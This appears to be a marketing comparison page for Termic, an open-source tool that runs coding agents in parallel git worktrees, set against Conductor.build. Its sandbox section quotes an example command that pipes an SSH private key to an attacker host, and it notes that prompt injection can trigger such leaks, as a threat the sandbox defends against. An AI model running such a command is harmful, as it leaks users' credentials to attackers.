termic.dev

Termic vs Conductor.build

If you're looking for an open-source Conductor.build alternative, Termic keeps the core workflow: multiple Claude Code agents running in parallel git worktrees. The differences are source, platform support, the agents you can run, main checkout and multi-repo work, and the sandbox around the process.

If you want the broader decision guide, read Best Conductor alternative.

01

AGPL source

Termic is AGPL-3.0 on GitHub. Fork it, audit it, package it, or build your own release from source.

02

More local shapes

Use a worktree when you need isolation, main checkout when you do not, and multi-repo tasks when the change spans services.

03

More agents, plus bring-your-own

Termic runs claude, codex, Grok, Antigravity, Copilot and opencode out of the box, and any other PTY-based agent in 30 seconds.

feature by feature

Comparison table

If a row is wrong, open an issue on GitHub and we'll fix it.

Source and license

Termic AGPL-3.0 source on GitHub.
Conductor.build I did not find a public source repo or license in the pages checked.

Price today

Termic Free. No account, plan or license key.
Conductor.build Conductor's FAQ says it is free for now, with paid collaboration features planned later.

Parallel agents in git worktrees

Termic Yes.
Conductor.build Yes. Conductor's core workflow is one git worktree per workspace.

Attach an agent to the main checkout (no worktree)

Termic Yes - for one-off questions, README edits, anything not worth a branch
Conductor.build No - worktree per workspace only

Runs Claude Code

Termic Yes.
Conductor.build Yes.

Runs Codex CLI

Termic Yes.
Conductor.build Yes.

Runs Grok / Antigravity

Termic Yes.
Conductor.build No Grok or Antigravity support documented.

Bring your own PTY agent

Termic Yes - opencode, aider, ollama, custom scripts, anything that runs in a terminal.
Conductor.build No general PTY agent registry documented.

Auth path

Termic Uses the CLI auth already on your machine. No Termic backend.
Conductor.build Conductor FAQ says it uses the Claude/Codex auth already saved on your machine.

Bundled provider CLIs

Termic Uses the CLIs you install and upgrade.
Conductor.build Conductor bundles its own Claude Code and Codex installs for compatibility.

Per-task macOS sandbox

Termic Yes - Seatbelt + in-process network allowlist
Conductor.build No

Platforms

Termic macOS + Linux today; Windows on the way
Conductor.build macOS

Last reviewed: 2026-06-09. Conductor details based on public information from conductor.build; if anything's stale, please file an issue.

why switch

Price is not the argument today

Conductor's current FAQ says it is free for now and uses the Claude/Codex auth already saved on your machine. So the useful comparison is not "who is cheaper".

The useful comparison is whether you want AGPL source, Linux builds, more provider CLIs, main checkout sessions, multi-repo tasks and a sandbox around the agent process.

sandbox

OS-level sandbox per task

A coding agent with shell access can cat ~/.ssh/id_rsa | curl attacker.com via prompt injection, a bad npm postinstall, or a tool-use mistake. Per-action permission prompts do not stop that. They just slow it down. Conductor's FAQ says agents run directly on your system without sandboxing.

Termic enforces the boundary at the OS:

  • Filesystem: default-deny via macOS Seatbelt. The task dir, the CLI's own caches, and the toolchains it needs are allowed; everything else is blocked, read and write. So ~/.ssh, ~/.aws, ~/.gnupg, ~/.netrc, ~/.docker/config.json, ~/.kube, Keychains, browser profiles, Mail, Messages, shell histories and your personal folders are unreachable.
  • Network: default-deny via an in-process Rust CONNECT proxy. A hostname allowlist (vendor APIs, GitHub, npm, PyPI, crates.io baked in; add your own per project) is the only way out. Everything else is refused at the TCP layer.
  • Pinned at task creation: the agent can't disable the sandbox it was spawned in.

Inside the sandbox, the agent's per-action permission prompts auto-skip, so you stop clicking "approve" on every ls, because the OS profile is doing the work.

multi-repo

Multi-repo tasks

A Termic task can contain multiple repos. Open api/, web/ and infra/ together, and the agent sees all of them in one working tree. Useful when a feature spans services, or an SDK bump touches several consumers.

Conductor is one repo (one worktree) per workspace.

future-proof

The vendor CLIs, unmodified

Termic spawns claude, codex and grok in PTYs. No reimplemented agent loop, no SDK wrapper. A new slash command, model version, or tool ships in the CLI; brew upgrade and you have it.

Wrappers (SDK harnesses, custom loops, in-house orchestrators) lag the CLI by however long it takes them to adopt the change. Termic doesn't have that surface area.

Works the other way too: if claude the CLI exists, Termic works. We can't be deprecated out from under you.

questions

Comparison FAQ

Is Termic really an open-source Conductor.build alternative?

Yes. Same useful workflow - multiple coding agents working in parallel, each in its own git worktree - shipped as a free, AGPL-3.0 desktop app. Source on GitHub. Termic also runs Grok, Antigravity and Copilot, and lets you bring any PTY-based agent (opencode, aider, ollama).

What's the actual difference between Termic and Conductor?

The honest differences are source, platform support, agent breadth and process boundaries. Termic is AGPL-3.0, ships macOS and Linux builds, supports more first-class terminal agents, has main checkout and multi-repo task modes, and can put each task behind a macOS Seatbelt sandbox plus network allowlist. Conductor is stronger if you want its exact Mac app workflow and bundled Claude/Codex compatibility path.

Is Conductor free?

As of 2026-06-09, Conductor's public FAQ says it is free for now and that paid collaboration features are planned later. That is why this page does not use price as the switch argument.

Does Termic support Codex and Grok too?

Yes. claude, codex, Grok and Antigravity are first-class. You can also register any other PTY-based CLI in 30 seconds (opencode, aider, ollama run, a custom shell script - anything).

Does Termic see my prompts or send anything to a server?

No. It's a local desktop app (Tauri / Rust + WKWebView). Prompts go xterm -> PTY -> CLI -> wherever that CLI sends them. Termic has no backend.

Is there a sandbox?

Yes - optional per-task. macOS Seatbelt blocks ~/.ssh, ~/.aws, Keychains, browser profiles and your personal folders; network goes through an in-process Rust CONNECT proxy with a hostname allowlist (vendor APIs plus GitHub and package registries baked in). Pinned at task creation so it can't be toggled mid-flight. Conductor's FAQ says its agents run without sandboxing.

Linux and Windows?

Linux ships today as a signed AppImage, same in-app updater as macOS. The sandbox is still macOS-only (the Linux bubblewrap / landlock equivalent is next), and Windows is the platform after that. The stack (Tauri, portable-pty, xterm.js) already supports all three.

sources

What I checked

Public Conductor docs, reviewed on 2026-06-09. No stale pricing claims, no anonymous forum lore.

Conductor homepage Conductor install docs Conductor FAQ Conductor security docs Conductor worktree docs

Install Termic

Free, AGPL-3.0. macOS + Linux now; Windows soon.

Direct .dmg download · Linux .AppImage · Back to home